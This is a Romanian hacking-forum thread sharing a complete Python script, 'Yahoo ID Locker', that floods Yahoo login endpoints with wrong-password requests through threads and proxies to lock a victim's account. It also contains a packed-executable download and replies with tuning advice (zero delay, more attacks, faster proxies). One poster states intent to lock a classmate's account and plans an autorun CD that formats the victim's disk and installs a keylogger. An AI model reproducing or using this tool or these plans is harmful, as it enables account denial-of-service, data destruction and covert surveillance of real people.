Jump to content
cmiN

[Python] Yahoo ID Locker (console) [cmiN]

Recommended Posts

Posted

Python code by cmiN - 90 lines - codepad

#! /usr/bin/env python
# 08.03.2010 <> 09.03.2010 | cmiN
# Yahoo ID Locker (console)

import sys, time, urllib.request, threading

def main(args):
usage = """\t\t Yahoo ID Locker 1.0
\t Usage: yidl.py ymsgrid timeout delay attacks method verbose proxy [address:port]
Where ymsgrid is the victim Yahoo ID
timeout is a float (seconds)
delay is a float (seconds)
attacks is an integer (how many requests)
method is the page to use
a - pwtoken_get
b - isp_verify_user
verbose is an integer
1 - print the retrieved data
0 - print nothing
proxy is an integer
1 - enable proxy support
address is the host ip
port is the port address
0 - use global settings
\t Example: yidl.py cmin764 10 0.1 20 a 1 1 186.56.68.5:8080"""
if len(args) in range(8, 10):
try:
print("Please wait...")
if int(args[7]) == 1:
host = args[8]
else:
host = None
attack(args[1], float(args[2]), float(args[3]), int(args[4]), args[5], int(args[6]), host)
except Exception as message:
print("An error occurred: {}".format(message))
except:
print("Unknown error.")
else:
print("Ready!")
else:
print(usage)
input()

def attack(ymsgrid, timeout, delay, attacks, method, verbose, host):
if method == "a" or method == "A":
link = "https://login.yahoo.com/config/pwtoken_get?src=ymsgr&login={usr}&passwd={pwd}"
elif method == "b" or method == "B":
link = "https://login.yahoo.com/config/isp_verify_user?cookies=1&p={pwd}&l={usr}"
else:
raise Exception("Invalid method")
link = link.format(usr=ymsgrid, pwd="pass1337")
headers = {
"Referer": "https://login.yahoo.com",
"User-Agent": "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.04 (hardy) Firefox/3.0.6"}
YDL.link = link
YDL.headers = headers
YDL.timeout = timeout
YDL.verbose = verbose
YDL.host = host
while attacks > 0:
YDL().start()
time.sleep(delay)
attacks -= 1
while threading.active_count() > 1:
pass

class YDL(threading.Thread):

link = None
headers = None
timeout = None
verbose = None
host = None

def __init__(self):
threading.Thread.__init__(self)

def run(self):
request = urllib.request.Request(self.link, headers=self.headers)
if self.host:
request.set_proxy(self.host, "https")
try:
with urllib.request.urlopen(request, timeout=self.timeout) as uin:
if self.verbose:
print(uin.read())
except:
pass

if __name__ == "__main__":
main(sys.argv)

Ai nevoie de Python 3.x

1) Salvezi codul de mai sus in yidl.py

2) Start -> Run -> cmd

3) cd %locatie% unde %locatie% reprezinta locul unde se afla yidl.py

4) yidl.py -> vezi usage

5) Enjoy

Updated: 09.03.2010

  • Upvote 2
  • Downvote 1
Posted
Am facut o versiune "exe" a acestui script. Pentru cei care nu au instalat python.

2shared - download [python][PE]_yidl_-_Yahoo_ID_Locker_[cmiN]_rstcenter.rar

MEGAUPLOAD - The leading online storage and file delivery service

file name : [python][PE]_yidl_-_Yahoo_ID_Locker_[cmiN]_rstcenter.rar
MD5 : 211ca83b5f16c0a74b95311cec645f3e
password : rstcenter.com

nu imi merge:| cica: "this application has failed to start because the application configuration is incorrect.reinsatling thew aplication may fix this problem" trebuie ceva gen framework?

Posted

Probabil unix nu are de forma aia sau probabil ca desi ai 3.x instalat iti foloseste tot 2.x. Habar nu am cum specifici ce si cum sa foloseasca, etc.

Posted

l`am testat pe un id al meu si nu l`a blocat , i`am dat chiar attacks 50 pe method a ,mi`a aparut " b'1236\r\n' " apoi pe method b " b'ERROR:101:Invalid Password' "

este eroare de la mine sau asa trebuie sa faca ?

Posted

Asa trebuie sa faca ... baga un delay cat mai mic, chiar 0, mai multe atacuri si foloseste un proxy mai rapid.

1212 -> id valid pass invalid

1235 -> id invalid pass nu mai conteaza

1236 -> id blocat sau ip banat, depinde

Posted

am si eu o intrebare...blocheaza id doar de pe ip respectiv sau il blocheaza de tot?am folosit vreo 10 proxy....trebuie neaparat sa blochez un id..are un tip cateva mass-uri de la mine legate de diriga...si ia zis azi dirigintei ca i le da..si nu am timp de keyloggere sau alte chestii...

Posted

la fiecare 12-15 ore folosesc alte proxy,ambele metode,chiar si manual dau :)))

daca nu mai poate intra pe mess nu are acces la ele..si e genul de idiot..care nu cred ca a intrat vreodata pe mail xD

luni fac un cd cu un referat si pun pe careva sa il dea..pun si un autoexec cu un bat sa ii formateze tot,apoi sa se adauge la startup si sa ii inchida pc la 1 sec dupa ce il deschide..eventual si un keylogger...

alte sugestii?:))

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...